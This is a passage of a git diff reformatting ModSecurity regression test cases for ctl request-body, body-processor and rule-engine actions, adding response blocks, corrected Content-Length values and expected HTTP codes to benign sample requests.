"\/test.pl?parm1=test1&parm2=test2", + "uri": "/test.pl?parm1=test1&parm2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] + }, + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, "expected": { "audit_log": "--A--", - "error_log": "", "http_code": 200 }, "rules": [ diff --git a/test/test-cases/regression/action-ctl_request_body_access.json b/test/test-cases/regression/action-ctl_request_body_access.json index a7eed77f5c..2189d34814 100644 --- a/test/test-cases/regression/action-ctl_request_body_access.json +++ b/test/test-cases/regression/action-ctl_request_body_access.json @@ -1,59 +1,61 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRequestBodyAccess (1)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRequestBodyAccess (1)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/test", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/test", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Request body processing is enabled, but disabled to this transaction due to ctl:requestBodyAccess action" + "expected": { + "debug_log": "Request body processing is enabled, but disabled to this transaction due to ctl:requestBodyAccess action", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RequestBodyAccess=Off\"", @@ -61,60 +63,62 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRequestBodyAccess (2)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRequestBodyAccess (2)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/test", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/test", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"--------------------------756b6d74fa1a8ee2" + "expected": { + "debug_log": "--------------------------756b6d74fa1a8ee2", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim\"", @@ -122,60 +126,62 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRequestBodyAccess (3)", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRequestBodyAccess (3)", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"multipart/form-data; boundary=--------------------------756b6d74fa1a8ee2", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "523", + "Content-Type": "multipart/form-data; boundary=------------------------756b6d74fa1a8ee2", + "Expect": "100-continue" }, - "uri":"/test", - "method":"POST", - "body":[ - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"name\"", - "", - "test", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is a very small test file..", - "--------------------------756b6d74fa1a8ee2", - "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"", - "Content-Type: text/plain", - "", - "This is another very small test file..", - "--------------------------756b6d74fa1a8ee2--" + "uri": "/test", + "method": "POST", + "body": [ + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"name\"\r\n", + "\r\n", + "test\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is a very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2\r\n", + "Content-Disposition: form-data; name=\"filedata\"; filename=\"small_text_file.txt\"\r\n", + "Content-Type: text/plain\r\n", + "\r\n", + "This is another very small test file..\r\n", + "--------------------------756b6d74fa1a8ee2--\r\n" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"--------------------------756b6d74fa1a8ee2" + "expected": { + "debug_log": "--------------------------756b6d74fa1a8ee2", + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess Off", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RequestBodyAccess=On\"", diff --git a/test/test-cases/regression/action-ctl_request_body_processor.json b/test/test-cases/regression/action-ctl_request_body_processor.json index d36a79e0fc..e3b6554193 100644 --- a/test/test-cases/regression/action-ctl_request_body_processor.json +++ b/test/test-cases/regression/action-ctl_request_body_processor.json @@ -1,175 +1,202 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRequestBodyProcessor=XML (1)", - "expected":{ - "debug_log": "Registered XML namespace href \"http://schemas.xmlsoap.org/soap/envelope/\" prefix \"soap\"" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRequestBodyProcessor=XML (1)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "732" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", "", "", - "Everyday Italian", - "Giada De Laurentiis", - "2005", - "30.00", + "Everyday Italian", + "Giada De Laurentiis", + "2005", + "30.00", "", - "", - "Harry Potter", - "J K. Rowling", - "2005", - "29.99", + "Harry Potter", + "J K. Rowling", + "2005", + "29.99", "", - "", - "XQuery Kick Start", - "James McGovern", - "Per Bothner", - "Kurt Cagle", - "James Linn", - "Vaidyanathan Nagarajan", - "2003", - "49.99", + "XQuery Kick Start", + "James McGovern", + "Per Bothner", + "Kurt Cagle", + "James Linn", + "Vaidyanathan Nagarajan", + "2003", + "49.99", "", - "", - "Learning XML", - "Erik T. Ray", - "2003", - "39.95", + "Learning XML", + "Erik T. Ray", + "2003", + "39.95", "", "" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "Registered XML namespace href \"http://schemas.xmlsoap.org/soap/envelope/\" prefix \"soap\"", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRequestBodyProcessor=XML (2)", - "expected":{ - "debug_log": "Rule returned 0" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRequestBodyProcessor=XML (2)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "732" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "", "", "", - "Everyday Italian", - "Giada De Laurentiis", - "2005", - "30.00", + "Everyday Italian", + "Giada De Laurentiis", + "2005", + "30.00", "", - "", - "Harry Potter", - "J K. Rowling", - "2005", - "29.99", + "Harry Potter", + "J K. Rowling", + "2005", + "29.99", "", - "", - "XQuery Kick Start", - "James McGovern", - "Per Bothner", - "Kurt Cagle", - "James Linn", - "Vaidyanathan Nagarajan", - "2003", - "49.99", + "XQuery Kick Start", + "James McGovern", + "Per Bothner", + "Kurt Cagle", + "James Linn", + "Vaidyanathan Nagarajan", + "2003", + "49.99", "", - "", - "Learning XML", - "Erik T. Ray", - "2003", - "39.95", + "Learning XML", + "Erik T. Ray", + "2003", + "39.95", "", "" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" + "expected": { + "debug_log": "Rule returned 0", + "http_code": 200 + }, + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" ] }, - { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRequestBodyProcessor=XML (3)", - "expected":{ - "debug_log": "XML: Failed parsing document." + { + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRequestBodyProcessor=XML (3)", + "resource": "libxml2", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "client":{ - "ip":"200.249.12.31", - "port":123 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Content-Type": "text/xml" + "Content-Type": "text/xml", + "Content-Length": "9" }, - "uri":"/?key=value&key=other_value", - "method":"POST", + "uri": "/?key=value&key=other_value", + "method": "POST", "body": [ "not a xml" ] }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "response": { + "headers": { + "Content-Length": "0" + }, + "body": [ + "" + ] + }, + "expected": { + "debug_log": "XML: Failed to parse document.", + "http_code": 200 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", - "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"^text/xml$\" \"id:500005,phase:1,t:none,t:lowercase,nolog,pass,ctl:requestBodyProcessor=XML\"", + "SecRule XML:/bookstore/book/price[text()] \"Fred\" \"phase:3,id:123,xmlns:soap='http://schemas.xmlsoap.org/soap/envelope/'\"" ] } ] diff --git a/test/test-cases/regression/action-ctl_request_body_processor_urlencoded.json b/test/test-cases/regression/action-ctl_request_body_processor_urlencoded.json index 2ad6093e84..4b1c22732e 100644 --- a/test/test-cases/regression/action-ctl_request_body_processor_urlencoded.json +++ b/test/test-cases/regression/action-ctl_request_body_processor_urlencoded.json @@ -1,97 +1,99 @@ [ { - "enabled":1, - "version_min":300000, - "title":"ctl:requestBodyProcessor=URLENCODED", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "ctl:requestBodyProcessor=URLENCODED", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/lhebs", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "14", + "Content-Type": "application/lhebs", + "Expect": "100-continue" }, - "uri":"/a=urlencoded", - "method":"POST", - "body":[ - "param1=value1\r" + "uri": "/a=urlencoded", + "method": "POST", + "body": [ + "param1=value1\r" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \\\"value1", + "expected": { + "debug_log": "Target value: \\\"value1", "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule REQUEST_HEADERS:Content-Type \"@contains lhebs\" \"phase:1,id:122,t:none,log,auditlog,pass,ctl:requestBodyProcessor=URLENCODED\"", - "SecRule ARGS_POST \"@contains value1\" \"phase:2,id:123,t:none,deny,log,auditlog\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule REQUEST_HEADERS:Content-Type \"@contains lhebs\" \"phase:1,id:122,t:none,log,auditlog,pass,ctl:requestBodyProcessor=URLENCODED\"", + "SecRule ARGS_POST \"@contains value1\" \"phase:2,id:123,t:none,deny,log,auditlog\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"ctl:requestBodyProcessor=URLENCODED", - "client":{ - "ip":"200.249.12.31", - "port":123 + "enabled": 1, + "version_min": 300000, + "title": "ctl:requestBodyProcessor=URLENCODED", + "client": { + "ip": "200.249.12.31", + "port": 123 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"330", - "Content-Type":"application/x-www-form-urlencoded", - "Expect":"100-continue" + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "14", + "Content-Type": "application/x-www-form-urlencoded", + "Expect": "100-continue" }, - "uri":"/a=urlencoded", - "method":"POST", - "body":[ - "param1=value1\r" + "uri": "/a=urlencoded", + "method": "POST", + "body": [ + "param1=value1\r" ] }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Target value: \\\"value1", + "expected": { + "debug_log": "Target value: \\\"value1", "http_code": 403 }, - "rules":[ - "SecRuleEngine On", - "SecRequestBodyAccess On", - "SecRule ARGS_POST \"@contains value1\" \"phase:2,id:123,t:none,deny,log,auditlog\"" + "rules": [ + "SecRuleEngine On", + "SecRequestBodyAccess On", + "SecRule ARGS_POST \"@contains value1\" \"phase:2,id:123,t:none,deny,log,auditlog\"" ] } ] diff --git a/test/test-cases/regression/action-ctl_rule_engine.json b/test/test-cases/regression/action-ctl_rule_engine.json index 927b7077e8..db9885fa72 100644 --- a/test/test-cases/regression/action-ctl_rule_engine.json +++ b/test/test-cases/regression/action-ctl_rule_engine.json @@ -1,44 +1,47 @@ [ { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (1)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (1)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"POST", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "POST", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to Disabled as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to Disabled as requested by a ctl:ruleEngine action", "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RuleEngine=Off\"", @@ -46,45 +49,48 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (2)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (2)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"POST", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "POST", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to DetectionOnly as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to DetectionOnly as requested by a ctl:ruleEngine action", "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRequestBodyAccess On", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RuleEngine=DetectionOnly\"", @@ -92,222 +98,237 @@ ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (3)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (3)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"GET", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to Enabled as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to Enabled as requested by a ctl:ruleEngine action", "http_code": 302 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RuleEngine=On\"", "SecRule ARGS \"@contains test\" \"id:2,log,phase:3,block,deny,status:302\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (4)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (4)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"GET", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to Enabled as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to Enabled as requested by a ctl:ruleEngine action", "http_code": 302 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RuleEngine=On,log,phase:3,block,deny,status:302\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (5)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - "ip":"200.249.12.31", - "port":80 - }, - "request":{ - "headers":{ - "Host":"localhost", - "User-Agent":"curl/7.38.0", - "Accept":"*/*", - "Content-Length":"12", - "Content-Type":"plain/text", - "Expect":"100-continue" + "enabled": 1, + "version_min": 300000, + "title": "Testing CtlRuleEngine (5)", + "client": { + "ip": "200.249.12.31", + "port": 123 + }, + "server": { + "ip": "200.249.12.31", + "port": 80 + }, + "request": { + "headers": { + "Host": "localhost", + "User-Agent": "curl/7.38.0", + "Accept": "*/*", + "Content-Length": "0", + "Content-Type": "plain/text", + "Expect": "100-continue" }, - "uri":"/test?test=test", - "method":"GET", - "body":[ ] - }, - "response":{ - "headers":{ - "Date":"Mon, 13 Jul 2015 20:02:41 GMT", - "Last-Modified":"Sun, 26 Oct 2014 22:33:37 GMT", - "Content-Type":"text/html" + "uri": "/test?test=test", + "method": "GET", + "body": [ + "" + ] + }, + "response": { + "headers": { + "Date": "Mon, 13 Jul 2015 20:02:41 GMT", + "Last-Modified": "Sun, 26 Oct 2014 22:33:37 GMT", + "Content-Type": "text/html", + "Content-Length": "8" }, - "body":[ + "body": [ "no need." ] }, - "expected":{ - "debug_log":"Setting SecRuleEngine to Disabled as requested by a ctl:ruleEngine action", + "expected": { + "debug_log": "Setting SecRuleEngine to Disabled as requested by a ctl:ruleEngine action", "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine DetectionOnly", "SecRule REQUEST_URI \"@contains test\" \"id:1,phase:1,pass,t:trim,ctl:RuleEngine=Off,log,phase:3,block,deny,status:302\"" ] }, { - "enabled":1, - "version_min":300000, - "title":"Testing CtlRuleEngine (6)", - "client":{ - "ip":"200.249.12.31", - "port":123 - }, - "server":{ - 